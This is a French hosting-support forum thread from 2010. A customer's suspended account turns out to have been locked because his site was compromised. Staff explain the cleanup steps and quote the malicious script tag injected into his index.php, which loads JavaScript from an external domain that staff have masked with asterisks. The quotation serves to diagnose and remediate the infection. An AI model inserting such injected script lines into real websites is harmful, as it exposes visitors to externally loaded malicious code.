Compte Suspendu

mr-blonde · 29/07/2010 16:56:09

Bonjour,

J'ai reçu auparavant un mail me prévenant que mon compte avait été piraté et que je devais donc changer de mot de passe avant de pouvoir regagner l'accès a mes sites.
Le mot de passe est changé, mais mes sites sont toujours inaccessibles, lorsque je veux y accéder :
"le membre a été suspendu par un responsable de FranceServ Hébergement."
Pouvez-vous remédier à cette situation ?

Merci pour votre service de qualité

franceserv · 29/07/2010 22:20:49

Bonjour,

Vous avez reçu le 22 juin 2010 un mail vous informant du blocage de votre compte car votre site était vérolé.

FranceServ Hébergement (mail du 22 juin 2010) a écrit :

Merci de réinitialiser votre mot de passe (celui-ci à été modifier pour bloquer les connexions) le plus rapidement possible de manière que celui-ci soit plus difficile à trouver et de supprimer l'ensemble des fichiers de votre site en y replaçant une sauvegarde correcte. Pensez à mettre à jour les éventuels outils de votre site comme les forums, blogs ou CMS car c'est probablement par une faille que ces attaques ont pu se faire.

Je viens de réactiver votre compte mais votre site a été placé en hors ligne pour vous permettre de supprimer l'ensemble de vos fichiers et d'y replacer une sauvegarde correcte avant de le remettre en ligne. Vous pourrez le remettre en ligne vous même depuis votre interface de gestion une fois le ménage fait.

Par exemple, vous avez actuellement en bas de votre fichier index.php ce bout de code malicieux (j'ai volontairement modifié le domaine par des astérisques) :

<script type="text/javascript" src="http://iopap.*********.com/Web_Page.js"></script>
<!--093e0a6907680fd702f120e48761d867-->

mr-blonde · 30/07/2010 00:58:47

Voila mon FTP est nettoyé, merci beaucoup

franceserv · 30/07/2010 01:26:05

Bonne continuation

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#1 29/07/2010 16:56:09

Compte Suspendu

#2 29/07/2010 22:20:49

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#4 30/07/2010 01:26:05

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